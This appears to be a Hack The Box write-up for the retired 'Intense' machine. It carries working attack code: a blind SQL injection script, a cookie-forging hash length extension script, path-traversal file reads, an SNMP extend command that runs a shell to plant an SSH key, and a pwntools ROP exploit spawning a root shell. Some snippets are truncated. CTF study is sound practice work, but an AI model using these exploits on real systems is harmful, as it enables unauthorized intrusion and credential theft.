This post documents the complete walkthrough of Intense, a retired vulnerable VM created by sokafr, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

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Intense is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=500

Starting masscan 1.0.5 ( at 2020-07-06 04:45:20 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 161/udp on
Discovered open port 80/tcp on

It appears that we have SNMP. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -sS -sU -pT:22,80,U:161 -A --reason -oN nmap.txt
22/tcp  open  ssh     syn-ack ttl 63      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
|   256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_  256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp  open  http    syn-ack ttl 63      nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
161/udp open  snmp    udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: f20383648c26d05d00000000
|   snmpEngineBoots: 624
|_  snmpEngineTime: 3m45s
| snmp-sysdescr: Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
|_  System uptime: 3m45.15s (22515 timeticks)

Awesome. Looks like we really have SNMP on our hands.

Simple Network Management Protocol

Let’s see what we can find with snmp-check.

# snmp-check -c public
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (

[+] Try to connect to using SNMPv1 and community 'public'

[*] System information:

  Host IP address               :
  Hostname                      : intense
  Description                   : Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
  Contact                       : Me <[email protected]>
  Location                      : Sitting on the Dock of the Bay
  Uptime snmp                   : 02:22:39.70
  Uptime system                 : 00:02:46.02
  System date                   : 2020-7-6 09:57:48.0

Nothing useful it seems.

Hypertext Transfer Protocol

Here’s what the http service looks like.

Upon logging in with (guest:guest), this is what I get.

The creator was kind enough to leave the source code of the web application at /

Source Code Review

I noticed /submitmessage is the only route that doesn’t require authentication, so this has a high chance of being the way in.

Notice the use of Python format string operation instead of parameter substitution? According to Python’s sqlite3 module,

You shouldn’t assemble your query using Python’s string operations because doing so is insecure; it makes your program vulnerable to an SQL injection attack.

The only caveats are: 1) the SQL injection string must not be more than 140 characters long and 2) it must not contain these words.

Database Schema

This is the schema I got from reading the source code.

username TEXT NOT NULL,
CREATE TABLE messages(
message text not null);

SQL Injection

By making use of the following SQL injection payload, I was able to tease out admin’s secret hash (SHA256 of the password) from the users table. admin has a role of 1, obviously.


# query database
function query() {
    local pos="$1"
    local chr="$2"
    local err="zeroblob(999999999)"
    local payload="'||(select case when substr((select secret from users where role=1),POS,1)='CHR' then ERR else 1 end from users))--"
    local result=$(curl -s \
                        --data-urlencode "message=${payload}" \
    echo $result


# SHA256 has 64 characters; and each character should be [0-9a-f]
for pos in $(seq 64); do
    for chr in {0..9} {a..f}; do
        if [ "$(query $pos $chr)" != "OK" ]; then
    printf "%02d: %s\n" "$pos" "$SECRET"

Let’s run it, shall we?

# ./
01: f
02: f1
03: f1f
04: f1fc
05: f1fc1
06: f1fc12
07: f1fc120
08: f1fc1201
09: f1fc12010
10: f1fc12010c
11: f1fc12010c0
12: f1fc12010c09
13: f1fc12010c094
14: f1fc12010c0940
15: f1fc12010c09401
16: f1fc12010c094016
17: f1fc12010c094016d
18: f1fc12010c094016de
19: f1fc12010c094016def
20: f1fc12010c094016def7
21: f1fc12010c094016def79
22: f1fc12010c094016def791
23: f1fc12010c094016def791e
24: f1fc12010c094016def791e1
25: f1fc12010c094016def791e14
26: f1fc12010c094016def791e143
27: f1fc12010c094016def791e1435
28: f1fc12010c094016def791e1435d
29: f1fc12010c094016def791e1435dd
30: f1fc12010c094016def791e1435ddf
31: f1fc12010c094016def791e1435ddfd
32: f1fc12010c094016def791e1435ddfdc
33: f1fc12010c094016def791e1435ddfdca
34: f1fc12010c094016def791e1435ddfdcae
35: f1fc12010c094016def791e1435ddfdcaec
36: f1fc12010c094016def791e1435ddfdcaecc
37: f1fc12010c094016def791e1435ddfdcaeccf
38: f1fc12010c094016def791e1435ddfdcaeccf8
39: f1fc12010c094016def791e1435ddfdcaeccf82
40: f1fc12010c094016def791e1435ddfdcaeccf825
41: f1fc12010c094016def791e1435ddfdcaeccf8250
42: f1fc12010c094016def791e1435ddfdcaeccf8250e
43: f1fc12010c094016def791e1435ddfdcaeccf8250e3
44: f1fc12010c094016def791e1435ddfdcaeccf8250e36
45: f1fc12010c094016def791e1435ddfdcaeccf8250e366
46: f1fc12010c094016def791e1435ddfdcaeccf8250e3663
47: f1fc12010c094016def791e1435ddfdcaeccf8250e36630
48: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c
49: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0
50: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0b
51: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc
52: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc9
53: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93
54: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc932
55: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc9328
56: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285
57: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c
58: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2
59: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c29
60: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c297
61: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971
62: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c29711
63: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c297110
64: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105


Hash Length Extension Attack

Too bad I could not crack the hash to recover the password. However, we can replay a session to gain access as admin. According to the source, the session is encoded as a cookie in this format.

def create_cookie(session):
    cookie_sig = sign(session)
    return b64encode(session) + b'.' + b64encode(cookie_sig)

The part before the dot is the session and the part after the dot is the signature. The session is no more than the the key-value pair of user=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;. The signature is the SHA256 hash of a random secret between 8 and 15 characters, concatenated with the session.

According to Wikipedia,

In cryptography and computer security, a length extension attack is a type of attack where an attacker can use Hash(message1) and the length of message1 to calculate Hash(message1message2) for an attacker-controlled message2, without needing to know the content of message1.

Check out the sign function.

def sign(msg):
	""" Sign message with secret key """
	return sha256(SECRET + msg).digest()

Looks like we have all the known variables to launch this attack to get the signature. Armed with this insight, I wrote a simple script that’ll generate all valid cookies for the random secret between 8 and 15 characters. The main driver doing all the heavy lifting for this script is hash_extender.


COOKIE=$(curl -i \
              -s \
              -d "username=guest&password=guest" \
              http://$HOST:$PORT/postlogin \
         | grep -E 'Set-Cookie' \
         | sed 's/Set-Cookie: //' \
         | cut -d';' -f1 \
         | sed 's/auth=//')

DATA=$(cut -d'.' -f1 <<<$COOKIE | base64 -d)
SIGN=$(cut -d'.' -f2 <<<$COOKIE | base64 -d | xxd -p | tr -d '\n')


for LEN in $(seq 8 15); do
    HASH=$(./hash_extender -d $DATA \
                           -a $APPEND \
                           -s $SIGN \
                           -l $LEN)

    NEWSIG=$(sed '3!d' <<<$HASH \
             | cut -d':' -f2 \
             | sed 's/^ //' \
             | xxd -p -r | base64 -w0)

    NEWSTR=$(sed '4!d' <<<$HASH \
             | cut -d':' -f2 \
             | sed 's/^ //' \
             | xxd -p -r \
             | base64 -w0)

    CODE=$(curl -s \
                -H "Cookie: auth=${NEWSTR}.${NEWSIG}" \
                -o /dev/null \
                -w %{http_code} \

    if [ $CODE -eq 200 ]; then
        echo auth=${NEWSTR}.${NEWSIG}

Time to test it out.

# ./

Replace the browser’s cookie with the output above.


Listing and reading files

We can make use of the traversal vulnerability in /admin/log/dir and /admin/log/view routes to list and read files respectively, by expanding on the output from

List files


curl -s \
     -b $(./ \
     -d "logdir=../../../../..${DIR}/." \
     http://$HOST:$PORT/admin/log/dir \
| tr ',' '\n' \
| tr -d " []'" \
| sort

Read files


curl -s \
     -b $(./ \
     -d "logfile=../../../../..${FILE}" \

Getting user.txt

While we are at it, we can list user’s home directory like so.

What’s even more amazing is that we have the permissions to read user.txt!

Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution

Let’s see what else is there especially SNMP. It must be there for a reason, right? This is where the configuation file of net-snmp is kept.

Now check out /etc/snmp/snmpd.conf.

We know that SNMP-EXTEND-MID is in-place because of this.


Armed with the RW community string SuP3RPrivCom90 and the knowledge that SNMP-EXTEND-MIB is enabled, we can utilize metasploit to launch a meterpreter to gain a foothold into the remote machine like so.

Running the exploit should produce a meterpreter session.

Getting shell is easy.

We’d better upgrade the shell to full TTY.

Privilege Escalation

During enumeration of Debian-snmp’s account, I notice that note_server is running on listening on 5001/tcp at the loopback interface as root. Given that note_server.c is available, exploiting note_server must be the ticket to pwning the box.

Port Forwarding

Now that we know note_server is running behind 5001/tcp, we can use the port-forwarding feature in meterpreter like so.

Alternatively, we can utilize snmpset to write a SSH public key we control to Debian-snmp’s authorized_keys. Prior to that, I’ve already established that /var/lib/snmp/.ssh/authorized_keys exists. I wrote a simple shell script to do that.


ssh-keygen -t ed25519 -f snmp

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c $RW $HOST \
"nsExtendStatus.\"ssh\"" = createAndGo \
"nsExtendCommand.\"ssh\"" = /bin/bash \
"nsExtendArgs.\"ssh\"" = "-c \"echo $(cat >> ~/.ssh/authorized_keys\""

Note that I generated a SSH keypair using ed25519 because it has a shorter pubkey string, otherwise SNMP will complain like so.

nsExtendArgs."ssh": Value out of range (Value does not match DISPLAY-HINT :: {(0..255)})

File Analysis of note_server

Let’s make a note of the libc version used in note_server.

OK. That’s the same as Let’s download a copy; we’ll be needing it later when we start to develop the exploit.

Looking at the source code, we notice that the program is compiled with all the security protections.

# gcc -Wall -pie -fPIE -fstack-protector-all -D_FORTIFY_SOURCE=2 -Wl,-z,now -Wl,-z,relro note_server.c -o note_server

Check out checksec in gef.

Vulnerability Analysis of note_server

Although note_server has almost all the security protections, the source code provides vulnerable primitives that allow us to write into a 1024-byte buffer, copy any segment (by offset and size) of the buffer to the end of it, and write the contents of the buffer to the socket.

Exploit Development of note_server

Armed with the insights, here’s my exploit code.

from pwn import *

context(os='linux', arch='amd64')

host = ''
port = 5001
fd = 4

def write_note(io, note, length=None):
    if length is None:
        length = len(note)


def copy_note(io, offset, copySize):

def read_notes(io, size=None):
    if size is None:
        recv = io.recvall()
        recv = io.recv(size)
    return recv

def write_to_end(io, written=0):
    g = cyclic_gen()
    while written < 1024:
        chunk = min(255, 1024 - written)
        write_note(io, g.get(chunk))
        written += chunk

def do_rop(io, canary, rbp, rop):
    buf = p64(0xDEAD)
    buf += p64(canary)
    buf += p64(rbp)
    buf += rop.chain()

    write_note(io, buf)
    write_to_end(io, len(buf))
    copy_note(io, 0, len(buf))
    read_notes(io, 1024 + len(buf))

def stage1():
    # stack canary + ebp
    io = remote(host,port)

    read_size = 4*8
    copy_note(io, 1024, read_size)
    leak = read_notes(io, 1024+read_size)[1024:]
    canary = u64(leak[8:16])
    rbp = u64(leak[16:24])
    rip = u64(leak[24:])

    print("rbp = ", hex(rbp))
    print("canary = ", hex(canary))
    print("rip = ", hex(rip))
    return (rbp, canary, rip)

def stage2(rbp, canary, rip):
    # leaking libc
    base_address = rip - 0xf54 # return address - offset (objdump -D -Mintel note_server)
    elf = ELF("./note_server", checksec=False)
    elf.address = base_address
    rop = ROP(elf)
    io = remote(host, port)
    do_rop(io, canary, rbp, rop)
    leak = io.recv(8)         
    libc_write = u64(leak)
    print("\nlibc leak: " + hex(libc_write))
    return libc_write

def stage3(canary, rbp, libc_write_leak):
    elf_libc = ELF("./", checksec=False)
    elf_libc.address = libc_write_leak - elf_libc.symbols['write']
    rop_libc = ROP(elf_libc)
    rop_libc.dup2(fd, 0)
    rop_libc.dup2(fd, 1)
    rop_libc.execve(next("/bin/sh\x00")), 0, 0)

    io = remote(host, port)
    do_rop(io, canary, rbp, rop_libc)


(rbp, canary, rip) = stage1()
libc_write_leak = stage2(rbp, canary, rip)
stage3(canary, rbp, libc_write_leak)

Getting root.txt

Let’s give it a shot.